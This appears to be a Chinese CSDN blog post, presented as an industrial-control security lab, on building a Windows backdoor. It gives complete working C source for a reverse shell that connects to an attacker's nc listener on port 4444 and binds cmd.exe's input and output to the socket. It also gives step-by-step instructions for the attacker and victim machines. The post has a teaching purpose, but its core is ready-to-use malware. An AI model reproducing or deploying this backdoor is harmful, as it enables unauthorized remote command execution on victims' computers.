工控安全系统对抗之后门开发

本文介绍了如何在Windows系统中创建一个远程CMD后门,通过socket连接服务端并利用CreateProcess函数创建cmd进程,将输入输出重定向到socket。攻击机监听4444端口,受害机连接后,攻击机即可控制受害机的cmd执行命令。示例代码展示了创建套接字和cmd进程的过程。
摘要由CSDN通过智能技术生成

实验要求
实现后门,参照winshell, portshell

要求:

  1. 实现远程cmdshell,见范例

提示:利用socket连接服务端,然后CreateProcess创建cmd进程,将输入输出都连接到socket

  1. socket连接服务端(sConnect)
  2. CreateProcess函数
    参数STARTUPINFO si;
    si.hStdInput = si.hStdOutput = si.hStdError = sConnect;
    步骤
    1.攻击机运行nc.exe监听4444端口
    2.受害机运行后门程序,会连接攻击机的4444端口
    3.此时攻击机得到受害机的cmd,可以对受害机进行控制
    在这里插入图片描述

下面是运行在受害机的后门程序
分为两部分 创建套接字 创建cmd进程
这个后门程序的功能是在受害机创建socket,和cmd进程,然后把cmd进程的输入输出都关联到创建好的socket,然后将此socket与攻击机的4444端口连接,这样攻击机就可以get受害机的cmd了,可以执行命令
如攻击机输入 ipconfig—>攻击机4444端口—>受害机某端口52546—>受害机cmd进程—>受害机执行ipconfig命令—>执行结果—>受害机端口52546—>攻击机4444端口—>在攻击机显示结果

#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <WinSock2.h>
#include <Windows.h>

#pragma comment(lib,"ws2_32")

int main()
{
	WSADATA wsaData;
	SOCKET connSocket;
	struct sockaddr_in hax;

	WSAStartup(MAKEWORD(2, 2), &wsaData);
	connSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);

	hax.sin_family = AF_INET;
	hax.sin_port = htons(4444);//攻击机运行的nc监听的是4444端口
	hax.sin_addr.s_addr = inet_addr("127.0.0.1");//攻击机ip

	connect(connSocket, (SOCKADDR*)&hax, sizeof(hax));
	char sendBuf[1024] = "连接上了";
	send(connSocket, sendBuf, strlen(sendBuf), 0);

	//创建进程
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	ZeroMemory(&si, sizeof(si));
	ZeroMemory(&pi, sizeof(pi));
	si.cb = sizeof(si);
	si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)connSocket;//把cmd进程的输入输出关联到受害机的socket

	CHAR commandLine[256] = "cmd.exe";
	CreateProcess(NULL, commandLine, NULL, NULL, TRUE,
		0, NULL, NULL, &si, &pi);
	WaitForSingleObject(pi.hProcess, INFINITE);


		closesocket(connSocket);
	WSACleanup();
}


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值